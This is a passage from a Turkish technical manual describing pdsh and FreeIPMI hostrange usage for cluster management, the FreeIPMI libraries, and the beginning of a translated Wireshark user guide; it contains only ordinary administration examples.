rastgele bir komut çalıştırmaktır. Algoritma olarak pdsh kayan<br />

pencereler biçimindeki thread'ler yaratır. Her biri uzakta çalışan<br />

“rcmd” özellikli bir kabuk oluşturur (rcmd ya da ssh gibi). Bir thread<br />

bittiğinde başka sunucularda çalışacak biçimde hemen yenisi yaratılır.<br />

Bu işlem tüm sunucular bitinceye dek sürer.<br />

4 ile 2000 düğümden oluşan kümelerde Lawrence Livermore National<br />

Laboratory (LLNL) çalışmalarında yöntem faydalı hale getirildi.<br />

Kümelerde çalıştırılan komutlar saniyeler içinde oldu. Ve bir kabut<br />

sorgusu içinde seri (sıralanmış) komutlar olarak çalıştı.<br />

Burada bir pdsh örneği ele alınmıştır:<br />

> pdsh -w “wopr[0-5]” hostname<br />

wopr0: wopr0<br />

wopr1: wopr1<br />

wopr2: wopr2<br />

wopr3: wopr3<br />

wopr5: wopr5<br />

wopr4: wopr4<br />

Sizin kümenizdeki her düğümün host adının belirlenmesi çok ilginç<br />

değildir. Ama sizin kümenizdekilerin aynı kernel ile çalıştırıldığını<br />

bilmek istemeniz anlamlıdır.<br />

> pdsh -w “wopr[0-5]” uname -r<br />

wopr1: 2.6.9-65


wopr0: 2.6.9-65<br />

wopr5: 2.6.9-65<br />

wopr2: 2.6.9-65<br />

wopr4: 2.6.9-65<br />

wopr3: 2.6.9-65<br />

Ama büyük ağlarda bu tür çıktı çok uzun olur. Özellikle komut her<br />

düğüm için birden çok satır üretirse çıktı boyu uzar da uzar. Örneğin<br />

bri ayar dosyasının tüm düğümlerde doğru olup olmadığını öğrenmek<br />

istesem:<br />

>pdsh -w “wopr[0-5]” “cat /tmp/pretend_config”<br />

wopr1: foo=/usr<br />

wopr1: bar=/tmp<br />

wopr1: baz=/etc<br />

wopr1: xyzzy=static<br />

wopr1:<br />

wopr0: foo=/usr<br />

wopr0: bar=/tmp<br />

wopr0: baz=/etc<br />

wopr0: xyzzy=static<br />

wopr0:<br />

wopr2: foo=/usr<br />

wopr2: bar=/tmp<br />

wopr2: baz=/etc<br />

wopr2: xyzzy=dynamic<br />

wopr2:<br />

wopr4: foo=/usr<br />

wopr4: bar=/tmp<br />

wopr4: baz=/etc<br />

wopr4: xyzzy=static<br />

wopr4:<br />

wopr5: foo=/usr<br />

wopr5: bar=/tmp<br />

wopr5: baz=/etc<br />

wopr5: xyzzy=static<br />

wopr5:<br />

wopr3: foo=/usr<br />

wopr3: bar=/tmp<br />

wopr3: baz=/etc<br />

wopr3: xyzzy=static<br />

wopr3:<br />

Bu yöntem çok zor anlaşılır olmaya başlar. Ama komutu aşağıdaki gibi<br />

yazarsak:<br />

>pdsh -w “wopr[0-5]” “cat /tmp/pretend_config” | dshbak<br />

----------------<br />

wopr1<br />

----------------<br />

foo=/usr<br />

bar=/tmp<br />

baz=/etc<br />

xyzzy=static


----------------<br />

wopr3<br />

----------------<br />

foo=/usr<br />

bar=/tmp<br />

baz=/etc<br />

xyzzy=static<br />

<br />

Bu daha düzgün okunabilecek bir çıktıdır. Ama çıktı satır sayısı<br />

çoğaldıkça çıktının ele alınması zorlaşır. Dshbak programı daha<br />

kısaltılmış çıktı verebilir:<br />

> pdsh -w “wopr[0-5]” “cat /tmp/pretend config” | dshbak -c<br />

----------------<br />

wopr[0-1,3-5]<br />

----------------<br />

foo=/usr<br />

bar=/tmp<br />

baz=/etc<br />

xyzzy=static<br />

----------------<br />

wopr2<br />

----------------<br />

foo=/usr<br />

bar=/tmp<br />

baz=/etc<br />

xyzzy=dynamic<br />

Bu çok daha iyi bir çıktıdır. Burada anlaşıldığına göre düğümlerden<br />

birinin ayarları farklıdır.<br />

Bu tür kümelerde en önemli sorunlardan biri düğümlerden biri<br />

kümeden çıkarılabilir. Bu nedenle pdsh gibi araçlar çıkarılan<br />

düğümlerde zaman aşımına uğrayınca dek beklerler.<br />

Örnekte wopr6 devre dışında kalmıştır.<br />

> pdsh -w “wopr[0-6]” hostname<br />

wopr0: wopr0<br />

wopr1: wopr1<br />

wopr4: wopr4<br />

wopr2: wopr2<br />

wopr5: wopr5<br />

wopr3: wopr3<br />

pdsh@wopri: wopr6: mcmd: connect failed: No route to host<br />

real<br />

user<br />

sys<br />

0m3.007s<br />

0m0.003s<br />

0m0.007s


Ama sizin sıradan kullanıcılarınız wopr6 düğümünün devre dışı<br />

olduğunu bilmeyebilir. Ya da listeden sorunlu düğümleri çıkartmakla<br />

uğraşmak istemeyebilir.<br />

whatsup ve libnodeupdown kitaplığı ile belirlenen Düğümlerden devre<br />

dışı kalanları pdsh parametrelerinden -v ile işlem dışına alabiliriz<br />

(bakınız http://whatsup.sourceforge.net).<br />

>whatsup<br />

up: 7: wopr[0-5], wopri<br />

down: 1: wopr6<br />

Bu işlemden sonra -v ile çalıştırılan pdsh wopr6 düğümünü otomatik<br />

olarak devre dışına alır.<br />

> time pdsh -v -w “wopr[0-6]” hostname<br />

wopr1: wopr1<br />

wopr0: wopr0<br />

wopr2: wopr2<br />

wopr5: wopr5<br />

wopr4: wopr4<br />

wopr3: wopr3<br />

real<br />

user<br />

sys<br />

0m0.034s<br />

0m0.005s<br />

0m0.012s<br />

Bu örnekte zaman değişimi çok farklı olmayabilir. Ama bir kümede yer<br />

alan devre dışı düğümler çoksa, zaman farkını gözlemlemek kolay olur.<br />

FreeIPMI'de Sunucu Aralığı (Hostrange) Giriş/Çıkışı<br />

Sunucu aralığı giriş/çıkışının çoğu FreeIPMI araçlarından pdsh<br />

kullanılarak ele alınır. Ama pdsh karşı tarafta da bir kabuk programın<br />

çalışmasını gerekli kılar. Bu işlem kümedeki çalışan işlerin CPU'larını<br />

durdurabilir ve IPMI'in LAN üzerindeki CPU'yu kesememe yararını<br />

ortadan kaldırır.<br />

Sunucu Aralığı (hostrange) desteği bir çok FreeIPMI araçlarına<br />

eklenmiştir. Birden çok düğüm komut satırından pdsh sunucu aralığı<br />

kalıbına uygun bir biçimde belirtilebilir. Thread sayısı “fanout” -F<br />

seçeneği ile arttırılır ya da eksiltilir.<br />

Araçların pdsh ile aynı işlevsellikleri vardır. Ama IPMI iletişiminin tümü<br />

bant dışında yapılır. Ipmipower sunucu aralığını 0.1.0 sürümünden beri<br />

desteklemektedir. Başka araçlarla uyumlu olması için çıktıları ve<br />

seçenekleri değiştirilmiştir.<br />

Test kümesinde, “pwopr” sunucu adları “wopr” yerine “hostnames”<br />

biçiminde kullanılmıştır. Bizim aynı zamanda kendi kullanıcı adımızı<br />

(username) ve şifreyi XXXed out olarak kullanırız.


Örneğin:<br />

> ipmi-sensors -h "pwopr[0-5]" -u XXX -p YYY --record-ids=10<br />

pwopr0: 10 | CPU3 Vcore | Voltage | 1.31 | V | 'OK'<br />

pwopr5: 10 | CPU3 Vcore | Voltage | 1.25 | V | 'OK'<br />

pwopr1: 10 | CPU3 Vcore | Voltage | 1.23 | V | 'OK'<br />

pwopr3: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />

pwopr2: 10 | CPU3 Vcore | Voltage | 1.32 | V | 'OK'<br />

pwopr4: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />

dshback işlevselliği -B (tamponlaşmış= ve -c (birleştirilmiş)<br />

seçenekleriyle kullanılır.<br />

> bmc-info -h "pwopr[0-5]" -u XXX -p YYY --get-device-id -B<br />

----------------<br />

pwopr5<br />

----------------<br />

Device ID : 34<br />

Device Revision : 1<br />

Device SDRs<br />

: unsupported (desteklenmez)<br />

Firmware Revision : 1.0c<br />

Device Available : yes (normal operation)<br />

IPMI Version : 2.0<br />

Sensor Device<br />

: supported (desteklenir)<br />

SDR Repository Device : supported (desteklenir)<br />

SEL Device<br />

: supported (desteklenir)<br />

FRU Inventory Device : supported (desteklenir)<br />

IPMB Event Receiver : unsupported (desteklenmez)<br />

IPMB Event Generator : unsupported (desteklenmez)<br />

Bridge<br />

: unsupported (desteklenmez)<br />

Chassis Device : supported (desteklenir)<br />

Manufacturer ID : Peppercon AG (10437)<br />

Product ID : 4<br />

Auxiliary Firmware Revision Information : 38420000h<br />

<br />

> bmc-info -h "pwopr[0-5]" -u XXX -p YYY --get-device-id -C<br />

----------------<br />

pwopr[0-1,5]<br />

----------------<br />

Device ID : 34<br />

Device Revision : 1<br />

Device SDRs<br />

: unsupported<br />

Firmware Revision : 1.0c<br />

Device Available : yes (normal operation)<br />

IPMI Version : 2.0<br />

Sensor Device<br />

: supported<br />

SDR Repository Device : supported<br />

SEL Device<br />

: supported<br />

FRU Inventory Device : supported<br />

IPMB Event Receiver : unsupported<br />

IPMB Event Generator : unsupported<br />

Bridge<br />

: unsupported<br />

Chassis Device : supported<br />

Manufacturer ID : Peppercon AG (10437)<br />

Product ID : 4


Auxiliary Firmware Revision Information : 38420000h<br />

<br />

Eğer sisteminize pdsh kurmuşsanız, o zaman -B ve -C seçenekleri<br />

yerine dshbak kullanabilirsiniz. Bir çok kullanıcı pdsh kurmadığı için -B<br />

ve -C seçenekleri vardır.<br />

Whatsup benzeri araçlar ve kitaplıklar ipmidetect adıyla geliştirilmiştir.<br />

Aynı whatsup işlevleriyle çalışır. Ama IPMI düğümü var mı diye bakar.<br />

Böylece daha hızlı hostrange çıktısı alınır. Bu araç ipmidetectd arka<br />

plan programının ayarlanıp çalışır durumda olmasını bekler.<br />

İpmidetectd normalde ipmiping ile uzaktaki sunucuları tarar.<br />

İpmidetect aracı ve kitaplığı belirlenen ve belirlenemeyen ipmi<br />

sistemlerini inceler.<br />

> /usr/sbin/ipmidetect<br />

detected: 6: pwopr[0-5]<br />

undetected: 1: pwopr6<br />

örneğin, çalışmayan 'pwopr6' süğmesini hostrange içine alalım:<br />

> time ipmi-sensors -h "pwopr[0-6]" -u XXX -p YYY --record-ids=10<br />

pwopr5: 10 | CPU3 Vcore | Voltage | 1.25 | V | 'OK'<br />

pwopr4: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />

pwopr0: 10 | CPU3 Vcore | Voltage | 1.31 | V | 'OK'<br />

pwopr3: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />

pwopr2: 10 | CPU3 Vcore | Voltage | 1.32 | V | 'OK'<br />

pwopr1: 10 | CPU3 Vcore | Voltage | 1.23 | V | 'OK'<br />

pwopr6: ipmi_ctx_open_outofband(): Connection timed out<br />

real 0m25.000s<br />

user 0m0.029s<br />

sys 0m0.003s<br />

-E seçeneğiyle çalışan (ve ipmidetectd ayarlanmış ve çalışan) bir<br />

ortamda -E seçeneği çalışmayan pwopr6 düğümünü atlar.<br />

> time ipmi-sensors -h "pwopr[0-6]" -u XXX -p YYY --record-ids=10 -E<br />

pwopr0: 10 | CPU3 Vcore | Voltage | 1.31 | V | 'OK'<br />

pwopr2: 10 | CPU3 Vcore | Voltage | 1.32 | V | 'OK'<br />

pwopr1: 10 | CPU3 Vcore | Voltage | 1.23 | V | 'OK'<br />

pwopr4: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />

pwopr5: 10 | CPU3 Vcore | Voltage | 1.25 | V | 'OK'<br />

pwopr3: 10 | CPU3 Vcore | Voltage | 1.26 | V | 'OK'<br />

real<br />

user<br />

sys<br />

0m0.113s<br />

0m0.030s<br />

0m0.003s<br />

Bunun komutun çalışması ve bitişindeki zaman kaybını izlemekte yarar<br />

vardır.


FreeIPMI'da öngörülen sunucu aralığı (hostrange)<br />

pdsh'den farklı olarak, rastgele bir kabuk komutu çalıştırabilirsiniz. Her<br />

FreeIPMI aracı göreceli değişmez çıktısı vardır ya da çalıştırabileceğiniz<br />

çıktı kümeleri vardır.<br />

Çalıştırılan özeliklere ya da komutların çıktılarına dayanarak, sunucu<br />

aralığı giriş/çıkışı farklı kullanılacaktır. Aşağıdakiler bazı önerilerdir.<br />

Bunlar en sık kullanılan sunucu aralığı giriş/çıkışlarıdır.<br />

İpmi-sensors:<br />

Kümedeki her düğümün biraz farklı ısıları vardır. Bu nedenle<br />

ipmi-sensors programını -q seçeneğiyle çalıştırarak çıktıları<br />

özetlemek isteyebilirsiniz.<br />

> ipmi-sensors -h "pwopr[0-6]" -u XXX -p YYY -g temperature -E -C<br />

-q<br />

----------------<br />

pwopr[0-2,4-5]<br />

----------------<br />

4 | CPU1 Temp | Temperature | 'OK'<br />

5 | CPU2 Temp | Temperature | 'OK'<br />

6 | CPU3 Temp | Temperature | 'OK'<br />

7 | CPU4 Temp | Temperature | 'OK'<br />

8 | Sys Temp | Temperature | 'OK'<br />

----------------<br />

pwopr3<br />

----------------<br />

4 | CPU1 Temp | Temperature | 'OK'<br />

5 | CPU2 Temp | Temperature | 'OK'<br />

6 | CPU3 Temp | Temperature | 'OK'<br />

7 | CPU4 Temp | Temperature | 'OK'<br />

8 | Sys Temp | Temperature | 'At or Below (


İpmi-sel:<br />

Her düğümün değişik ipmi-sel çıktısı olacaktır ve bunun boyutları<br />

da çoktur. Bu nedenle tamponlanmış ya da kısaltılmış özlü çıktı<br />

pek kullanışlı olmayabilir. Sunucu aralığı girişi SEl çıktılarını<br />

toplamak için en kullanışlı olanıdır. Tüm kümedeki<br />

sunucular/düğümler hakkında hızlı ve bant dışı bilgi alınabilir.<br />

Bazı hatalar için “grep” kullanılabilir. Ya da log izleme<br />

programına “pipe” (boru) ile aktarılabilir.<br />

Sunucu aralığı işlevi SEL Loglarını hızla temizlemek için çok<br />

kullanışlıdır.<br />

“--no-header-output” seçeneği bir çok düğümde çıktıyı azaltmak<br />

için kullanılabilir. “--sdr-cache-recreate” seçeneği hataları<br />

güzelce ele almak için kullanışlı olabilir.<br />

Kullanıcılar “--output-event-state” seçeneğini ipmi-sel ile<br />

kullanmak isteyebilirler. Böylece o anki sensör durumlarını da<br />

görebilirler. Bu seçenek NORMAL, UYARI ve KRITİK durumları<br />

gösterir.<br />

Bmc-info:<br />

Sunucu aralığı kullanılırken, büyük bir olasılıkla kümenizdeki<br />

BMC'nin firmware ya da donanım tipini doğrulamak istersiniz.<br />

Büyük bir olasılıkla bmc-info programını özet çıktı için -C<br />

seçeneğiyle çalıştırmak istersiniz. Sistem GUID'leri sistemler<br />

arasında da farklıdır. Bu nedenle değişik çıktıları sınırlandırmak<br />

için “--get-device-id” seçeneğiyle çalıştırmak istersiniz.<br />

İpmi-raw:<br />

ipmi-raw çıktısı en çok bir satır olabilir. Özlü çıktı ise en çok<br />

istenen ve kullanılan biçimidir.<br />

bmc-config/ipmi-chassis-config/ipmi-pef-config/ipmi-sensors-config:<br />

Bu ayar araçlarınıntipik kullanımı “--checkout” seçeneği ile<br />

çalıştırarak ayarları denemiş olur. Ayar değişikliklerini dosyaya<br />

yazmak için “--commit” seçeneği ile çalıştırılır. Öyle sanılır ki bir<br />

çok kullanıcı bunu yalnız sunucu aralığı desteğiyle ve “--commit”<br />

seçeneğiyle kullanarak birden çok sunucuyu aynı anda ayarlamış<br />

olur. Bant-dışı bağlantıdan önce bant içi ayar dosyası işlemleri<br />

çok olacaktır (IP ve MAC adreslerinin ayarlanması gibi). Bir çoğu<br />

sunucuyu bant dışına alıp ayar bile yapmak istemeyecektir. “--<br />

diff” seçeneği birçok makine arasında kullanılabilir. Bu makineler<br />

arasında ayar değişikliği olup olmadığı izlenmiş olur.<br />

FreeIPMI içinde sunucu aralığı desteği ayrıcalıkları


Ek Notlar<br />

Bazı koşullarda sunucu aralığı giriş/çıkışı desteklenmez.<br />

- Bir kümedeki her BMC değişik IP ve MAC adresiyle ayarlanır. Bu<br />

durumda paralel çalışma yapılamaz.<br />

- Ipmi-power bmc-info'dan değişik bir mimari ile yazılmıştır. Amacı<br />

Powerman ile iletişimde olmak olduğundan paralele işlemlerde<br />

kullanılamaz.<br />

[1] Neden FreeIPMI doğrudan “whatsup” kullanmaz? Whatsup işletim<br />

sistemi “up” ve sağlıklı çalışıyor demektir. IPMI işletim sistemi<br />

çalışmadan da işlem yapabilir. Hatta düğüm “power off” olsa bile. Bu<br />

nedenle alternatif bir ürün gerekmiştir.<br />

FreeIPMI Kitaplıkları<br />

Albert Chu<br />

chu11@llnl<br />

FreeIPMI ile kullanılabilecek kitaplıklar ve program arayüzleri (API) aşağıda<br />

kısaca anlatılmıştır.<br />

Libfreeipmi<br />

Libfreeipmi ilkcil bir kitaplıktır. Bir çok Freeipmi aracı bu kitaplığa<br />

dayanır. Aşağıdakiler kitaplığın alt bölümlerini oluşturur.<br />

Api<br />

Libfreeipmi tarafından sağlanan en yüksek düzey arayüzdür<br />

(API). Kullanıcıdan bant içi ve bant dışı protokollerin ayrıntılarını<br />

soyutlar. Kullanıcıya kullanışlı hata kodları sağlar. Bu hata kodları<br />

IPMI işlemlerini anlamaya ve yorumlamaya yarar. Pek çok<br />

FreeIPMI aracı ve kitaplığı tarafından “api” kullanılır. Örneğin<br />

bmc-info, ipmi-sensors ve libipmimonitoring...<br />

cmds<br />

fiid şablonları ve “fill” işlevleri için IPMI komutlarıdır. IPMI<br />

komutlarının ortak parametreleri için tanımlanan makroları da<br />

sağlar. Libfreeipmi'nin diğer parçalarının çoğunda “cmds”<br />

kullanılır. İpmipower ve ipmiconsole gibi araçlarca da kullanılır.<br />

Debug<br />

paket/kayıt dump (dökmek) için gereken işlevleri sağlar. Daha<br />

çok “api” alt bölümü tarafından kullanılır. İpmipower ve<br />

ipmiconsole bunları kullanan araçlardır.


Driver<br />

IPMI iletişimi için gereken arayüzleri (API) sağlar. Şu anda<br />

desteklenen sürücüler KCS, SSIF, OpenIPMI ve sunbmc'dir. Bmcwatchdog<br />

gibi araçlar tarafından kullanılır.<br />

Fiid<br />

FreeIPMI arayüz tanımı libfreeipmi'de bulunan paketleri<br />

hazırlanması ve açılması işlerinde kullanılan arayüzler sağlar.<br />

Arayüz (API) fiid şablonlarını kullanır. Bunlar da fiid-object<br />

(nesne) yaratmakta kullanılır. Fiid-şablonları paketleri dizi<br />

adından tanımlar ve alanların bit haritası vardır. Arayüz<br />

kullanıcıların alanları okuma/yazma işlemlerini alan bitleriyle<br />

çözümler. Marshalling, paketleme, endian ve diğer ağ işlemleri<br />

“fiid” ile ele alınır. Fiid nesneleri libfreeipmi içinde ele alınır. “api”<br />

alt bölümü “cmds” alt bölümü ve diğer araçlar.<br />

Fru-parse<br />

Alan değiştirilebilen birim (field replacable unit FRU) için tarama<br />

arayüzü sağlar. İpmi-fru gibi araçlar tarafından kullanılır.<br />

İnterface<br />

bant içi ve bant dışı protokolleri için 'assemble' (monte etmek)<br />

ve 'disassemble' (demonte etmek) işlevlerini sağlar. Aynı<br />

zamanda tüm fiid şablonlarını sağlar. “fill” işlevleri ve diğer hazır<br />

işlemler IPMI iletişimi için gerekenlerin arayüzlerini sağlar. “api”<br />

alt bölüm tarafından kullanılır. İpmipower ve ipmiconsole<br />

araçlarınca da kullanılır.<br />

İnterpret<br />

sensor olaylarını Nominal, Uyarı ve Kritik konumlarına bölüp<br />

yorumlayan arayüzleri sağlar. FreeIPMI araçlarınca kullanılır.<br />

İpmi-sensors ve libipmimonitoring kullanan araçlarıdır.<br />

Locate<br />

Bant içi IPMI iletişimi için varsayılan değerleri bulmak için bir kaç<br />

standart sorgulama arayüzü sağlar. “api” alt bölümünü kullanır.<br />

İpmi-locate aracı tarafından kullanılır.<br />

Payload<br />

makrolar, fiid-şablonlar ve IPMI içinde kullanılan payload ların<br />

bilgilerini sağlar. İpmiconsole tarafından LAN üzerinden seri<br />

bağlantı biçiminde kullanılır.<br />

Record-format<br />

IPMI içinde kullanılan makrolar, fiid-şablonları ve kayıtlar üzerine<br />

bilgi sağlar. “sdr-cache” alt bölümünde kullanılır ve ipmi-sensors<br />

aracını kullanır.


Sdr-cache<br />

sensor veri deposundakileri yaratmak, kaşelemek, okumak ve<br />

taramak işlerini sağlar. İpmi-fru ve ipmi-sensors araçları<br />

tarafından kullanılır.<br />

Sdr-parse<br />

SDR kayıtlarını taramak için arayüz sağlar. İpmi-fru ve ipmisensors<br />

tarafından kullanılır.<br />

Sel-parse<br />

Sistem Olay Log'larını okuyup tarayacak arayüzü sağlar. İpmi-sel<br />

tarafından kullanılır.<br />

Sensor-read<br />

Sensorleri okumak için bir arayüz sağlar. İpmi-sensors tarafından<br />

kullanılır.<br />

Spec<br />

Util<br />

IPMI içindeki diğer tanımlar için makrolar ve diziler sağlar. İpmisensors<br />

tarafından kullanılır.<br />

anahtarlar, sensor okumaları gibi hazır işlevleri sağlar. FreeIPMI<br />

tarafından kullanılır.<br />

Libipmiconsole<br />

Yüksek düzeyde LAN üzerinden seri işlemler uyarlamasıdır.<br />

Uzaktan konsol erişimi sağlar. Birden çok IPMI 2.0 oturumu<br />

açılmasını sağlar. IPMI/SOL (Serial Over LAN) ilişkisini basit bir<br />

dosya tanımına indirgemiştir.<br />

Libipmimonitoring<br />

Yüksek düzel SEL ve sensor izleme arayüzü sağlar. Kulalnıcının<br />

sensor değerleri, gruplar, birimler ve durumlar konusunda<br />

tekrarlayan işlem yapması için arayüz sunar.<br />

Libipmidetect<br />

Bir küme içinde hangi düğümün IPMI destekleyip<br />

desteklemediğini belirleyen yüksek düzey arayüz sağlar. Bu<br />

kitaplık düğümlerin bakım için bir kümeden çıkarılmasını da<br />

algılar. Böylece IPMI gereksiz zaman aşımı beklemeleri yapmaz.<br />

Kitaplık ipmidetecd ile iletişimde çalışır.


Pkg-config desteği<br />

Tüm yukarıdaki kitaplıklar için FreeIPMI pkg-config desteği sunar.<br />

PKG_CHECK_MODULES(FREEIPMI, libfreeipmi,<br />

HAVE_LIBFREEIPMI="yes", HAVE_LIBFREEIPMI="no")<br />

Ya da doğrudan pkg-config çağrılır:<br />

CFLAGS += $(shell pkg_config –-cflag libfreeipmi)<br />

LIBS += $(shell pkg_config –-libs libfreeipmi)<br />

Daha geniş bilgi için:<br />

http://www.freedesktop.org/wiki/Software/pkg-config


Ek-6<br />

Wireshark<br />

Kullanıcı El Kitabı<br />

(User manual)<br />

Wireshark Nedir<br />

Wireshark ağ paket analiz programıdır. Ağ paket analiz programı ağ<br />

paketlerini saklar ve en ayrıntılı paket verileri görüntüsü sağlamaya çalışır.<br />

Ağ analiz programı ağda neler olduğunu ayrıntılarıyla anlatmaya çalışır.<br />

Eskiden bu araçlar ya çok pahalı ya da topluma açık değildi.<br />

Wireshark bu konuda açık kaynak kod olarak en kullanışlı olanlarından biridir.<br />

Bazı maksatlı amaçları<br />

Kullanıcıar wireshark aşağıdaki nedenlerden kullanıyorlar:<br />

. Ağ yöneticiler ağdaki sorunları bulmak için kullanrlar.<br />

. Ağ güvenliği güvenlik sorunları için kullanır<br />

. Program geliştiriciler protokol hatalarını gidermek için kullanırlar.<br />

. İnsanlar ağ protokol aralıklarını anlamak için kullanır/izlerler.<br />

Özellikleri<br />

Hem UNIX hem de Windows altında kullanılabilir.<br />

Ağ arayüzünden canlı paketleri yakalayabilir.<br />

Tcpdump/windump ve Wireshark programlarından yakalanan veriler<br />

dosyalarda saklanabilir.<br />

Paket verilerinin onaltılı dump'larından paket bilgilerini dıştan alır<br />

(import).<br />

Çok ayrıntılı protokol bilgileriyle paketleri görüntüle.<br />

Yakalanan paket verilerini sakla.<br />

Yakalanan paketleri bir çok dosya kalıplarına göre dışa ver.<br />

Bir çok kritere göre paketleri filitrele.<br />

Bir çok kritere göre paketleri ara.<br />

Filitrelere göre görüntülenen paketleri renklendir.


Çeşitli istatistikler yarat.<br />

Birçok ağ ortamından canlı veri yakalama<br />

Wireshark ağ ortamlarının pek çoğundan tarif verilerini yakalayabilir.<br />

Buna kablosuz ağ bağlantıları da dahildir. Desteklene ağ iletişim<br />

ortamları hakkında ayrıntılı bilgi<br />

http://wiki.wireshark.org/CaptureSetup/NetworkMedia adresinden<br />

sağlanır.<br />

Başka programların yakaladığı verileri dıştan al.t<br />

Başka programların yakaladığı verileri wireshark dıştan alabilir. Ayrıntılı<br />

bilgiler için:<br />

http://www.wireshark.org/docs/wsug_html_chunked/ChIOOpenSection.<br />

html#ChIOInputFormatsSection<br />

adresine bakabilirsiniz.<br />

Başka programlara yakalanan verileri dışa verir.<br />

Başka programlara yakaladığı verileri aktarabilir. Bu programların<br />

ayrıntılı listesi için “Çıktı Dosyaları kalıpları” hakkında ayrıntılı bilgi<br />

alınabilir<br />

http://www.wireshark.org/docs/wsug_html_chunked/ChIOSaveSection.html#ChIOOutp<br />

utFormatsSection.<br />

Birçok protokol çözümleyici<br />

Protokol çözümleyiciler vardır. Bunların listesi için<br />

http://www.wireshark.org/docs/wsug_html_chunked/AppProtocols.html adresine<br />

bakabilirsiniz..<br />

Açık Kaynak Yazılım<br />

Wireshark açık kaynaktır. GPL lisansıyla dağıtılır. Serbestçe<br />

kullanılabilir.<br />

Wireshark ne değildir<br />

Sızmaları yakalayan bir sistem değildir. Biri tuhaf şeyler yaparsa sizi<br />

uyaramaz. Ama tuhaf şeyler oluyorsa size ne olduğunu söyleyebilir.<br />

Ağ üzerindekileri değiştiremez. Yalnız ağ üzerindekileri ölçebilir.


Sistem Gereksinimi<br />

Wireshark çalışır olması için nelere gerek vardır?<br />

Genel Konular<br />

Aşağıdaki değerler en az gerekenlerdir.<br />

Yoğun bir ağ trafiğinde yüksek disk ve bellek kapasitesi gerektirir.<br />

Örneğin 100MBits/san Ethernet yaklaşık 750MBayt/dak. bilgi üretir. BU<br />

nedenle hız bir işlemci, yüksek bellek ve disk kapasitesi iyi bir<br />

başlangıçtır.<br />

Eğer Wireshark için bellek yetmezse kırılır<br />

http://wiki.wireshark.org/KnownBugs/OutOfMemory ve çalışması durur.<br />

Çok işlemcili ve çoklu thread işletim sistemleri Wireshark için çok<br />

önemli ve avantajlı değildir. Çünkü paket filitreleme işlemi tek thread<br />

ile çalışır. Ama kural paket listelerinin gerçek zamanlı işlenmesidir.<br />

Genelde yakalama işlemleri bir işlem zamanında yürütülürken<br />

görüntüleme başka bir işlemle yürütülür. Yani iki işlemcili bir sistem<br />

Wireshark için yeterlidir.<br />

Micrsoft Windows<br />

Windows XP Home, XP Pro, XP Tablet PC, XP Media Center, Server<br />

2003, Vista 2008, 7 ya da 2008 R2<br />

Modern 32-bit x86 ya da 64-bit AMD64/x86-64 işlemcilerler herhangi<br />

biri<br />

128MB kullanılabilir bellek. Daha büyk yakalama dosyaları için daha<br />

çok bellek gerekebilir.<br />

75MB kullanılabilir disk kapasitesi. Yakalanan dosyalar için ek alan<br />

gerekebilir.<br />

800x600 (1280x1034 ya da daha yüksek) çözünürlük ve 16 bit renk<br />

seçeneği Wireshark için yeterlidir (Eski GTK1 ve 1.0.x sürümler<br />

kullanılmışsa).<br />

Yakalamak için desteklenen ağ kartı.<br />

Windows'un desteklediği ethernet kartı çalışır.<br />

802.11 ham verilerini ek bir donanım olmadan yakalamak zor<br />

olabilir. Wireshark wiki sayfasına bakın<br />

http://wiki.wireshark.org/CaptureSetup/WLAN#head-<br />

02456742c655394c9e948a4c9a59d3441c92782f<br />

Diğer ortamlar<br />

http://wiki.wireshark.org/CaptureSetup/NetworkMedia adresinde<br />

vardır.


Görüşler<br />

Bir çok eski Windows sürümleri artık desteklenmemektedir. Bu<br />

sistemleri artık geliştiriciler kullanmamaktadır. Wireshark WinPcap,<br />

GTK kitaplıklarına dayanır ve bu kitaplıkların eski sürüm destekleri<br />

yoktur.<br />

Windows 95, 98 ve ME artık desteklenmemektedir. Eski Windows<br />

sürümlerinde bellek koruması yoktur. Halbuki bu program güvenliği<br />

için kullanılıyordur.<br />

Wireshark Windows NT 4.0 ile de çalışmaz.<br />

Windows 2000 Wireshark ile çalışmaz.<br />

Windows CE ve adlandırılmayan diğer sürümlerde Wireshark çalışmaz..<br />

Çoklu monitör desteği vardır ama biraz tuhaf çalışmaktadır.<br />

Unix/Linux<br />

Wireshark şu anda bir çok Unix ortamında çalışmaktadır. Sistem<br />

gereksinimi yukarıdaki Windows kapasileri düzeyindedir.<br />

İkili program paketleri:<br />

Apple Mac OS/X<br />

Debian GNU/Linux<br />

FreeBSD<br />

Gentoo Linux<br />

HP-UX<br />

Mandriva Linux<br />

NetBSD<br />

OpenPKG<br />

Red Hat Enterprise/Fedora Linux<br />

rPath Linux<br />

Sun Solaris/i386<br />

Sun Solaris/Sparc<br />

Canonical Ubuntu<br />

Eğer sistem için ikili paket yoksa kaynak kodlar indirilip kurabilirsiniz.<br />

Wireshark nereden sağlanır<br />

Son kopyayı http://www.wireshark.org/download.html adresinden<br />

sağlayabilirsiniz.


Her dört ya da sekiz ayda yeni bir kopya üretilmektedir.<br />

KULLANICI ARAYÜZÜ<br />

GİRİŞ<br />

Şimdiye dek Wireshark kurulmuş ve veri yakalama hazır durumdadır.<br />

Burada Wireshark kullanıcı arayüzü nasıl çalışır<br />

Wireshark paketleri nasıl yakalar<br />

Paketler nasıl görüntülenir.<br />

Wireshark paketleri nasıl filitreler<br />

Ve birçok ufak tefek diğer işlemer<br />

Wireshark Başlatma<br />

Wireshark kabuk programdan ya da window yönetiminden başlatılır.<br />

Wireshark komut satırından başlatılırken seçenekleri belirtmek olanağı<br />

vardır.<br />

İlerideki bölümlerde bir çok ekran görüntüsü yer alabilir. Bir çok<br />

değişik ortamda çalıştığından burada görüntülenen resimler sizinkilere<br />

benzemeyebilir. Ama işlevsel açıdan bir fark yoktur.<br />

Ana Pencere


Wireshark ana penceresi diğer programlardan da bilinen bazı ortak<br />

alanlar bulundurur. Bunlar:<br />

Menü<br />

Ana araç çubuğu<br />

Ana menüden sık kullanılan seçeneklere kolay erişim için<br />

kullanılır.<br />

Filitre Araç Çubuğu<br />

Görüntüleme filitrelerine doğrudan erişmek ve değiştirmek<br />

için kullanılır.<br />

Paket Liste panosu<br />

Yakalanan her paketin özetini görüntüler. İlgili satıra<br />

tıklanarak diğer iki panoda nelerin görüntüleneceğine<br />

karar verirsiniz.<br />

Paket Ayrıntı Panosu<br />

